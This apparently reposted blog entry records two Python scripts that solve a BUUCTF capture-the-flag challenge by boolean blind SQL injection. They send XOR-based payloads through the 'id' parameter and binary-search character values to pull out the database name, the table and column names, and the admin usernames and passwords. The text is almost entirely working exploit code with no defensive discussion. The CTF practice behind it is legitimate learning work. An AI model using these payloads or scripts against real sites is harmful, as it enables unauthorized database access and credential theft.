当前位置:网站首页>Record the blind injection script
Record the blind injection script
2022-04-23 04:38:00 【-Gardenia blue-】
import requests
url= 'http://46206bf0-67f6-43a5-ac69-5d26d094e942.node4.buuoj.cn:81/backend/content_detail.php'
database =""
payload1 = "?id=1^(ascii(substr((select(database())),{},1))>{})^1" # The library is news
payload2 = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1"# Table, admin,contents
payload3 ="?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))>{})^1" # Column name is flag,value
payload4 = "?id=1^(ascii(substr((select(group_concat(id,0x3a,username,0x3a,password))from(admin)),{},1))>{})^1"
for i in range(1,10000):# Dichotomy
low = 28
high = 137
mid =(low + high) // 2
while(low < high):
#payload = payload1.format(i,mid) # Chaku name
#payload = payload2.format(i,mid) # Look up the name of the table
#payload = payload3.format(i,mid) # Look up the list name
payload = payload4.format(i,mid) # check flag
new_url = url + payload
r = requests.get(new_url)
#text=str(r.json())
#print(new_url)
if "title" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 128):
break
#chr() return ascii Corresponding characters
database +=chr(mid)
print(database)
print(database)
import time
import re
import requests
import string
url = "http://46206bf0-67f6-43a5-ac69-5d26d094e942.node4.buuoj.cn:81/backend/content_detail.php"
flag = ''
def payload(i, j):
time.sleep(0.2)
# Database name ord() Return the corresponding ascii value ,chr() return ascii Corresponding characters
#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# Table name admin,contents
#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)^1"%(i,j)
# Field name
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))>%d)^1"%(i,j)
# Inquire about flag
sql = "1^(ord(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
if "title" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
版权声明
本文为[-Gardenia blue-]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230403290555.html
边栏推荐
- MySQL queries users logged in for at least N consecutive days
- 为什么推荐你学嵌入式
- 顺序表的基本操作
- Jetpack 之 LifeCycle 组件使用详解
- Effects of antibiotics on microbiome and human health
- 协程与多进程的完美结合
- 三十六计是什么
- IEEE Transactions on systems, man, and Cybernetics: Notes for systems (TSMC)
- Common string processing functions in C language
- 383. 赎金信
猜你喜欢
How to regulate intestinal flora? Introduction to common natural substances, probiotics and prebiotics
Go反射法则
Installation of zynq platform cross compiler
洛谷P1858 【多人背包】 (背包求前k优解)
数据孤岛是什么?为什么2022年仍然存在数据孤岛?
[AI vision · quick review of NLP natural language processing papers today, issue 31] Fri, 15 APR 2022
Recursive call -- Enumeration of permutations
指纹Key全国产化电子元件推荐方案
Jetpack 之 LifeCycle 组件使用详解
MYSQL查询至少连续n天登录的用户
随机推荐
Huawei machine test -- high precision integer addition
383. 赎金信
Mysql---数据读写分离、多实例
[echart] démarrer avec echart
Brushless motor drive scheme based on Infineon MCU GTM module
Coinbase: basic knowledge, facts and statistics about cross chain bridge
IDE Idea 自动编译 与 On Upate Action 、 On Frame Deactivation 的配置
SQL statement for adding columns in MySQL table
C语言常用字符串处理函数
QML advanced (IV) - drawing custom controls
[timing] empirical evaluation of general convolution and cyclic networks for sequence modeling based on TCN
Go reflection - go language Bible learning notes
国外LEAD,联盟经理常见问答
520. Detect capital letters
【Echart】echart 入门
从MySQL数据库迁移到AWS DynamoDB
Go反射法则
Experience summary and sharing of the first prize of 2021 National Mathematical Modeling Competition
mysql table 中增加列的SQL语句
Ali's ten-year technical experts jointly created the "latest" jetpack compose project combat drill (with demo)